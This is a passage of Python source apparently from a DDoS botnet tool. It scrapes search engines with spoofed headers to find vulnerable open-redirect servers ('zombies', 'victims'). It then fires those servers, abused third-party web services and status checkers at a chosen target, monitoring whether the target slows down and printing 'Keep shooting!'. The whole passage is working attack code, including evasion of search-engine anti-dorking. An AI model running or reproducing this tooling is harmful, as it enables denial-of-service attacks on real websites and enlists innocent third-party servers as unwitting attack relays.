  2646. (clientsock, (ip, port)) = tcpsock.accept()
  2647. newthread = ClientThread(ip, port, clientsock)
  2648. newthread.start()
  2649. except (KeyboardInterrupt, SystemExit):
  2650. sys.exit()
  2651. def extract_dorks(self):
  2652. # extract dorks from file (ex: 'dorks.txt')
  2653. try:
  2654. f = open(self.dorks_file)
  2655. dorks = f.readlines()
  2656. dorks = [ dork.replace('\n','') for dork in dorks ]
  2657. f.close()
  2658. if not dorks:
  2659. if not options.autosearch:
  2660. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2661. return
  2662. else:
  2663. return dorks
  2664. except:
  2665. if not options.autosearch:
  2666. if os.path.exists(self.dorks_file) == True:
  2667. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2668. return #sys.exit(2)
  2669. else:
  2670. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2671. return #sys.exit(2)
  2672. else:
  2673. return
  2674. def search_zombies(self, dork, zombies_found):
  2675. # crawlering on search engine results to extract zombies
  2676. options = self.options
  2677. zombies = []
  2678. if not options.engine: # default search engine
  2679. options.engine = 'duck'
  2680. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2681. url = 'https://www.bing.com/search?'
  2682. if options.search: # search from query
  2683. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2684. if options.dorks or options.autosearch: # search from a dork
  2685. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2686. start = 0 # set index number of first entry
  2687. query_string = { 'q':q, 'first':start }
  2688. data = urllib.parse.urlencode(query_string)
  2689. url = url + data
  2690. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2691. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2692. if options.verbose:
  2693. print("[Info] [AI] Query used: " + url)
  2694. print("\n" + '-'*44 + '\n')
  2695. try:
  2696. if options.proxy: # set proxy
  2697. self.proxy_transport(options.proxy)
  2698. req = urllib.request.Request(url, None, headers)
  2699. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2700. except:
  2701. print('[Error] [AI] Unable to connect to: bing\n')
  2702. if options.allengines or options.autosearch:
  2703. return
  2704. if not options.dorks or not options.autosearch:
  2705. if not self.options.forceyes:
  2706. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2707. else:
  2708. update_reply = "Y"
  2709. if update_reply == "n" or update_reply == "N":
  2710. return #sys.exit(2)
  2711. print("\nSearch engines available:")
  2712. print('-'*25)
  2713. for e in self.search_engines:
  2714. print("+ "+e)
  2715. print('-'*25)
  2716. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2717. return #sys.exit(2)
  2718. else:
  2719. req_reply = ''
  2720. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2721. pattern = re.compile(regex)
  2722. url_links = re.findall(pattern, req_reply)
  2723. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2724. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2725. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2726. location = str(random.choice(location).strip()) # shuffle location
  2727. if location == "jp": # [28/02/2019]
  2728. url = 'https://search.yahoo.co.jp/search?'
  2729. else:
  2730. url = 'https://'+location+'.search.yahoo.com/search?'
  2731. if options.search: # search from query
  2732. if location == "jp":
  2733. q = '"' + str(options.search) + '"' # set query to search literally on results
  2734. else:
  2735. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2736. if options.dorks or options.autosearch: # search from a dork
  2737. if location == "jp":
  2738. q = '"' + str(dork) + '"' # set query to search literally on results
  2739. else:
  2740. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2741. start = 0 # set index number of first entry
  2742. query_string = { 'p':q, 'b':start }
  2743. data = urllib.parse.urlencode(query_string)
  2744. url = url + data
  2745. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2746. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2747. if options.verbose:
  2748. print(("Query used: " + url + "\n"))
  2749. try:
  2750. if options.proxy: # set proxy
  2751. self.proxy_transport(options.proxy)
  2752. req = urllib.request.Request(url, None, headers)
  2753. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2754. except:
  2755. print('[Error] [AI] Unable to connect to: yahoo\n')
  2756. if options.allengines or options.autosearch:
  2757. return
  2758. if not options.dorks or not options.autosearch:
  2759. if not self.options.forceyes:
  2760. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2761. else:
  2762. update_reply = "Y"
  2763. if update_reply == "n" or update_reply == "N":
  2764. return #sys.exit(2)
  2765. print("\nSearch engines available:")
  2766. print('-'*25)
  2767. for e in self.search_engines:
  2768. print("+ "+e)
  2769. print('-'*25)
  2770. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  2771. return #sys.exit(2)
  2772. else:
  2773. req_reply = ''
  2774. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2775. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2776. pattern = re.compile(regex)
  2777. url_links = re.findall(pattern, req_reply)
  2778. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2779. url = 'https://duckduckgo.com/html/'
  2780. if options.search: # search from query
  2781. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2782. if options.dorks or options.autosearch: # search from a dork
  2783. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2784. query_string = { 'q':q }
  2785. data = urllib.parse.urlencode(query_string)
  2786. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2787. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2788. if options.verbose:
  2789. print("Query used: " + url + " (POST: "+ data + ")\n")
  2790. try:
  2791. if options.proxy: # set proxy
  2792. self.proxy_transport(options.proxy)
  2793. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  2794. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2795. except:
  2796. print('[Error] [AI] Unable to connect to: duck\n')
  2797. if options.allengines or options.autosearch:
  2798. return
  2799. if not options.dorks or not options.autosearch:
  2800. if not self.options.forceyes:
  2801. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2802. else:
  2803. update_reply = "Y"
  2804. if update_reply == "n" or update_reply == "N":
  2805. return #sys.exit(2)
  2806. print("\nSearch engines available:")
  2807. print('-'*25)
  2808. for e in self.search_engines:
  2809. print("+ "+e)
  2810. print('-'*25)
  2811. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2812. return #sys.exit(2)
  2813. else:
  2814. req_reply = ''
  2815. regex = 'snippet" href="(.+?)">' # regex magics
  2816. pattern = re.compile(regex)
  2817. url_links = re.findall(pattern, req_reply)
  2818. else: # no valid search engine
  2819. print('[Error] [AI] This search engine is not supported!\n')
  2820. if not options.dorks or options.autosearch:
  2821. if not self.options.forceyes:
  2822. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2823. else:
  2824. update_reply = "Y"
  2825. if update_reply == "n" or update_reply == "N":
  2826. return #sys.exit(2)
  2827. print("\nSearch engines available:")
  2828. print('-'*25)
  2829. for e in self.search_engines:
  2830. print("+ "+e)
  2831. print('-'*25)
  2832. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2833. return #sys.exit(2)
  2834. else:
  2835. req_reply = ''
  2836. if options.num_results: # set number of results to search
  2837. try:
  2838. num = int(options.num_results)
  2839. except:
  2840. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2841. num = 10
  2842. else:
  2843. num = 10
  2844. total_results = 1
  2845. for url in url_links: # general parse on urls
  2846. if int(num) < int(total_results):
  2847. break
  2848. if options.engine == "bing":
  2849. if " h=" in url: # regex magics [18/08/2016]
  2850. url = url.rsplit('" h=',1)[0]
  2851. if options.engine == "yahoo":
  2852. if 'RU=' in url: # regex magics [18/08/2016]
  2853. url = url.rsplit('RU=',1)[1]
  2854. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2855. url = url.rsplit('UTF-8&u=',1)[1]
  2856. total_results = total_results + 1 # results counter
  2857. url_link = urllib.parse.unquote(url) # unquote encoding
  2858. if options.search:
  2859. sep = str(options.search)
  2860. if options.dorks or options.autosearch:
  2861. sep = str(dork)
  2862. url_link = url_link.rsplit(sep, 1)[0] + sep
  2863. if 'href="' in url_link:
  2864. url_link = url_link.rsplit('href="', 1)[1]
  2865. if "instreamset" in url_link: # invalid zombie
  2866. url_link = "" # discarded
  2867. if '" ' in url_link:
  2868. url_link = url_link.rsplit('" ', 1)[1]
  2869. if options.engine in url_link:
  2870. url_link = "" # discarded
  2871. if 'http' not in url_link:
  2872. url_link = "" # discarded
  2873. else:
  2874. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2875. print('+Victim found: ' + url_link)
  2876. print('-'*12)
  2877. zombies.append(url_link)
  2878. else:
  2879. pass
  2880. if len(zombies) == 0: # print dorking results
  2881. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  2882. if not options.dorks:
  2883. if not options.autosearch:
  2884. if not self.options.forceyes:
  2885. return #sys.exit(2)
  2886. print("\n" + '-'*44 + '\n')
  2887. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2888. return zombies
  2889. def check_nat(self):
  2890. # check for NAT configuration
  2891. options = self.options
  2892. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  2893. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2894. check_ip_service = None
  2895. if not tor_reply or 'Congratulations' not in tor_reply:
  2896. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2897. else:
  2898. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2899. self.nat_error_flag = "ON"
  2900. return #sys.exit(2)
  2901. try:
  2902. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2903. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2904. check_ip_service = self.check_ip_service1
  2905. except:
  2906. try: # another check for public ip
  2907. data = str(urlopen(self.check_ip_service2).read())
  2908. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2909. check_ip_service = self.check_ip_service2
  2910. except:
  2911. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2912. self.nat_error_flag = "ON"
  2913. return
  2914. t = urlparse(check_ip_service)
  2915. name_service = t.netloc
  2916. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  2917. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2918. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2919. self.local_ip = s.getsockname()[0]
  2920. print(" + Local: " + self.local_ip + "\n")
  2921. print('='*22 + '\n')
  2922. def extract_ucavs(self):
  2923. # extract ucavs from file
  2924. options = self.options
  2925. try:
  2926. f = open(self.ucavs_file)
  2927. ucavs = f.readlines()
  2928. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2929. f.close()
  2930. if not ucavs:
  2931. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2932. self.options.disableucavs = True
  2933. return
  2934. else:
  2935. return ucavs
  2936. except:
  2937. if os.path.exists(self.ucavs_file) == True:
  2938. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2939. return #sys.exit(2)
  2940. else:
  2941. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2942. return #sys.exit(2)
  2943. def discarding_ucavs(self, ucav, ucavs):
  2944. if ucav in self.discard_ucavs:
  2945. ucavs.remove(ucav)
  2946. if self.options.verbose:
  2947. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  2948. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2949. return ucavs
  2950. def send_ucavs(self, ucavs):
  2951. # extract external status checkers, perform a request and check results
  2952. time.sleep(5) # aiming (multi-threading flow time compensation)
  2953. if not self.options.disablepurge:
  2954. if not ucavs: # return when not any working
  2955. self.options.disableucavs = True
  2956. return
  2957. options = self.options
  2958. target = self.options.target
  2959. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2960. if not self.options.disablepurge:
  2961. for ucav in ucavs:
  2962. if not ucav.startswith('http'): # discarded inmediately
  2963. self.discard_ucavs.append(ucav)
  2964. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2965. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2966. if not self.options.disablepurge:
  2967. if not ucavs: # return when not any working
  2968. self.options.disableucavs = True
  2969. return
  2970. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2971. for ucav in ucavs:
  2972. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2973. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2974. if target.startswith("http://"): # parse target for some checkers
  2975. target = target.replace('http://','')
  2976. elif target.startswith("https://"):
  2977. target = target.replace('https://','')
  2978. url = ucav + target
  2979. t = urlparse(ucav)
  2980. name_ucav = t.netloc
  2981. if name_ucav == "":
  2982. name_ucav = ucav
  2983. if options.verbose:
  2984. print(("[Info] [UCAVs] Sniping: " + url))
  2985. try:
  2986. if options.proxy: # set proxy
  2987. self.proxy_transport(options.proxy)
  2988. if options.timeout: # set timeout
  2989. ucav_timeout = options.timeout
  2990. else:
  2991. ucav_timeout = 5
  2992. if ucav_timeout < 1:
  2993. ucav_timeout = 5
  2994. req = urllib.request.Request(url, None, headers)
  2995. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  2996. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  2997. except:
  2998. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  2999. if not self.options.disablepurge:
  3000. self.discard_ucavs.append(ucav)
  3001. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3002. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3003. target_reply = ""
  3004. if target_reply == "": # check for target's status resolved by [UCAVs]
  3005. pass
  3006. else:
  3007. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3008. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3009. self.num_is_up = self.num_is_up + 1
  3010. else:
  3011. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3012. self.num_is_down = self.num_is_down + 1
  3013. if self.options.verbose:
  3014. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3015. self.extra_zombies_lock = False # [ARMY] have finished
  3016. def extract_median(self, num_list):
  3017. # extract median from a list of numbers
  3018. import statistics
  3019. int_num = []
  3020. for num in num_list:
  3021. num = float(num)
  3022. int_num.append(num)
  3023. return statistics.median(int_num)
  3024. def check_is_loading(self, target):
  3025. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3026. self.start = None
  3027. self.stop = None
  3028. print('\n---------')
  3029. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3030. if target.endswith(""):
  3031. target.replace("", "/")
  3032. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3033. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3034. try:
  3035. req = urllib.request.Request(target, None, headers)
  3036. if self.options.proxy: # set proxy
  3037. self.proxy_transport(self.options.proxy)
  3038. if self.options.timeout: # set timeout
  3039. try:
  3040. timeout = int(self.options.timeout)
  3041. except:
  3042. timeout = 5
  3043. else:
  3044. timeout = 5
  3045. if timeout < 1:
  3046. timeout = 5
  3047. self.start = time.time()
  3048. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3049. header = urllib.request.urlopen(req, context=self.ctx).info()
  3050. self.stop = time.time()
  3051. except:
  3052. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3053. return
  3054. try:
  3055. s, size_name = self.convert_size(len(target_reply))
  3056. self.loadcheck_size_list.append(s) # add record to size list
  3057. size = '%s %s' % (s,size_name)
  3058. except:
  3059. size = "Error!"
  3060. try:
  3061. time_required = self.stop - self.start
  3062. load = self.convert_time(time_required)
  3063. self.loadcheck_load_list.append(load) # add record to load list
  3064. except:
  3065. load = "Error!"
  3066. self.loadcheck_counter = self.loadcheck_counter + 1
  3067. print(' -Total tests:', self.loadcheck_counter, "\n")
  3068. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3069. lsm = self.extract_median(self.loadcheck_size_list)
  3070. if lsm is not None:
  3071. self.loadcheck_size_median = str(lsm) + " " + size_name
  3072. else:
  3073. self.loadcheck_size_median = None
  3074. llm = self.extract_median(self.loadcheck_load_list)
  3075. if llm is not None:
  3076. self.loadcheck_load_median = str(llm) + " seconds"
  3077. else:
  3078. self.loadcheck_load_median = None
  3079. if self.loadcheck_counter == 2: # first round
  3080. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3081. print(' -Bytes in (this round) :', size)
  3082. if self.loadcheck_size_median is not None:
  3083. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3084. print(' ----')
  3085. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3086. print(' -Load time (this round) :', load, "seconds")
  3087. if self.loadcheck_load_median is not None:
  3088. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3089. else:
  3090. print("\n")
  3091. self.loadcheck_size_max = None
  3092. self.loadcheck_size_min = None
  3093. self.loadcheck_load_max = None
  3094. self.loadcheck_load_min = None
  3095. elif self.loadcheck_counter > 2: # rest of rounds
  3096. lsmax = max(self.loadcheck_size_list)
  3097. if lsmax is not None:
  3098. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3099. else:
  3100. self.loadcheck_size_max = None
  3101. lsmin = min(self.loadcheck_size_list)
  3102. if lsmin is not None:
  3103. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3104. else:
  3105. self.loadcheck_size_min = None
  3106. llmax = max(self.loadcheck_load_list)
  3107. if llmax is not None:
  3108. self.loadcheck_load_max = str(llmax) + " seconds"
  3109. else:
  3110. self.loadcheck_load_max = None
  3111. llmin = min(self.loadcheck_load_list)
  3112. if llmin is not None:
  3113. self.loadcheck_load_min = str(llmin) + " seconds"
  3114. else:
  3115. self.loadcheck_load_min = None
  3116. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3117. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3118. print(' -Bytes in (this round) :', size)
  3119. if self.loadcheck_size_max is not None:
  3120. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3121. if self.loadcheck_size_min is not None:
  3122. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3123. if self.loadcheck_size_median is not None:
  3124. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3125. print(' ----')
  3126. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3127. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3128. print(' -Load time (this round) :', load, "seconds")
  3129. if self.loadcheck_load_max is not None:
  3130. print(' -Load time (max) :', self.loadcheck_load_max)
  3131. if self.loadcheck_load_min is not None:
  3132. print(' -Load time (min) :', self.loadcheck_load_min)
  3133. if self.loadcheck_load_median is not None:
  3134. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3135. else:
  3136. print("\n")
  3137. if self.loadcheck_prev_load < load: # target is loading more slowly
  3138. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3139. elif self.loadcheck_prev_load == load: # inmutable target
  3140. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3141. elif self.loadcheck_prev_load > load: # is target defending?
  3142. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3143. else:
  3144. print(' -Bytes in (this round) :', size)
  3145. print(' -Load time (this round):', load, "seconds\n")
  3146. self.loadcheck_first_size = size
  3147. self.loadcheck_first_load = load
  3148. self.loadcheck_size_median = None
  3149. self.loadcheck_load_median = None
  3150. self.loadcheck_size_max = None
  3151. self.loadcheck_size_min = None
  3152. self.loadcheck_load_max = None
  3153. self.loadcheck_load_min = None
  3154. self.loadcheck_prev_size = size # record previous size
  3155. self.loadcheck_prev_load = load # record previous load
  3156. def convert_size(self, size):
  3157. if (size == 0):
  3158. return '0 B'
  3159. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3160. i = int(math.floor(math.log(size,1024)))
  3161. p = math.pow(1024,i)
  3162. s = round(size/p,2)
  3163. return s, size_name[i]
  3164. def convert_time(self, time):
  3165. return '%.2f' % time
  3166. def discarding_zombies(self, zombie, zombies):
  3167. if zombie in self.discardzombies:
  3168. zombies.remove(zombie)
  3169. if self.options.verbose:
  3170. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3171. return zombies
  3172. def send_zombies(self, zombies):
  3173. # send Open Redirect zombies
  3174. time.sleep(1) # aiming (multi-threading flow time compensation)
  3175. if not self.options.disablepurge:
  3176. if not zombies:
  3177. self.empty_zombies = True
  3178. return
  3179. if self.options.verbose:
  3180. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3181. options = self.options
  3182. target = self.options.target
  3183. shuffle(zombies) # shuffle zombies order, each round :-)
  3184. if not self.options.disablepurge:
  3185. for zombie in zombies: # check if zombie is failing for autobalance army
  3186. if not zombie.startswith('http'): # discarded inmediately
  3187. self.discardzombies.append(zombie)
  3188. self.num_discard_zombies = self.num_discard_zombies + 1
  3189. zombies = self.discarding_zombies(zombie, zombies)
  3190. if not self.options.disablepurge:
  3191. if not zombies: # return when not any working
  3192. self.empty_zombies = True
  3193. return
  3194. for zombie in zombies:
  3195. t = urlparse(zombie)
  3196. name_zombie = t.netloc
  3197. if name_zombie == "":
  3198. name_zombie = zombie
  3199. if not self.options.attackme:
  3200. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3201. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3202. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3203. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3204. self.options.target = target
  3205. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3206. print("[Info] [Zombies] Payload: " + target)
  3207. print('='*55, "\n")
  3208. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3209. if not options.target.startswith('http'):
  3210. if options.forcessl:
  3211. options.target = "https://" + options.target
  3212. else:
  3213. options.target = "http://" + options.target
  3214. self.attack_mode = True
  3215. try:
  3216. if options.verbose:
  3217. print("[Info] [Zombies] Sniping: " + options.target)
  3218. self.connect_zombies(zombie)
  3219. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3220. self.db_flash = self.db_flash + 1
  3221. stress = self.stressing(target, zombie)
  3222. except Exception:
  3223. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3224. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3225. if not self.options.disablepurge:
  3226. self.discardzombies.append(zombie)
  3227. self.num_discard_zombies = self.num_discard_zombies + 1
  3228. if self.options.verbose:
  3229. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3230. self.attack_mode = False
  3231. def discarding_aliens(self, alien, aliens):
  3232. if alien in self.discard_aliens:
  3233. aliens.remove(alien)
  3234. if self.options.verbose:
  3235. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3236. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3237. return aliens
  3238. def send_aliens(self, aliens):
  3239. # extract external web abuse services urls (POST) and perform requests against target
  3240. time.sleep(2) # aiming (multi-threading flow time compensation)
  3241. if not self.options.disablepurge:
  3242. if not aliens: # return when not any working
  3243. self.options.disablealiens = True
  3244. return
  3245. target = self.options.target
  3246. options = self.options
  3247. shuffle(aliens) # shuffle aliens
  3248. if not self.options.disablepurge:
  3249. for alien in aliens:
  3250. if not alien.startswith('http'): # discarded inmediately
  3251. self.discard_aliens.append(alien)
  3252. self.num_discard_aliens = self.num_discard_aliens + 1
  3253. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3254. if not self.options.disablepurge:
  3255. if not aliens: # return when not any working
  3256. self.options.disablealiens = True
  3257. return
  3258. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3259. for alien in aliens:
  3260. name_alien = None
  3261. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3262. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3263. pattern_alien = re.compile(regex_alien)
  3264. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3265. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3266. pattern_param = re.compile(regex_param)
  3267. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3268. for u in alien_url:
  3269. url = u # ex: POST -> path/submit.php
  3270. t = urlparse(url)
  3271. name_alien = t.netloc
  3272. if name_alien == "":
  3273. name_alien = alien
  3274. print("[Info] [Aliens] Attacking from: " + name_alien)
  3275. for p in param:
  3276. param_target = {p : target} # ex POST -> url=target
  3277. param_target = urllib.parse.urlencode(param_target)
  3278. try:
  3279. if options.verbose:
  3280. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3281. if options.proxy: # set proxy
  3282. self.proxy_transport(options.proxy)
  3283. if self.options.timeout: # set timeout
  3284. try:
  3285. alien_timeout = int(self.options.timeout)
  3286. except:
  3287. alien_timeout = 5
  3288. else:
  3289. alien_timeout = 5
  3290. if alien_timeout < 1:
  3291. alien_timeout = 5
  3292. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3293. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3294. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3295. except Exception:
  3296. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3297. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3298. if not self.options.disablepurge:
  3299. self.discard_aliens.append(alien)
  3300. self.num_discard_aliens = self.num_discard_aliens + 1
  3301. else:
  3302. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3303. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3304. if not self.options.disablepurge:
  3305. self.discard_aliens.append(alien)
  3306. self.num_discard_aliens = self.num_discard_aliens + 1
  3307. if self.options.verbose:
  3308. if name_alien:
  3309. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3310. else:
  3311. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  3312. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3313. self.extra_zombies_lock = False # [ARMY] have finished
  3314. def extract_aliens(self):
  3315. # extract aliens from file
  3316. options = self.options
  3317. try:
  3318. f = open(self.aliens_file)
  3319. aliens = f.readlines()
  3320. aliens = [ alien.replace('\n','') for alien in aliens ]
  3321. f.close()
  3322. if not aliens:
  3323. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3324. self.options.disablealiens = True
  3325. return
  3326. else:
  3327. return aliens
  3328. except:
  3329. if os.path.exists(self.aliens_file) == True:
  3330. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3331. return #sys.exit(2)
  3332. else:
  3333. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3334. return #sys.exit(2)
  3335. def discarding_droids(self, droid, droids):
  3336. if droid in self.discard_droids:
  3337. droids.remove(droid)
  3338. if self.options.verbose:
  3339. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3340. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3341. return droids
  3342. def send_droids(self, droids):
  3343. # extract external web abuse services urls (GET) and perform requests against target
  3344. time.sleep(3) # aiming (multi-threading flow time compensation)
  3345. if not self.options.disablepurge:
  3346. if not droids: # return when not any working
  3347. self.options.disabledroids = True
  3348. return
  3349. target = self.options.target
  3350. try:
  3351. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3352. except:
  3353. target = urllib.parse.unquote(target)
  3354. if target.startswith('http://'): # remove http
  3355. target = target.replace('http://', '')
  3356. if target.startswith('https://'):
  3357. target = target.replace('https://', '') # remove https
  3358. options = self.options
  3359. shuffle(droids) # shuffle droids
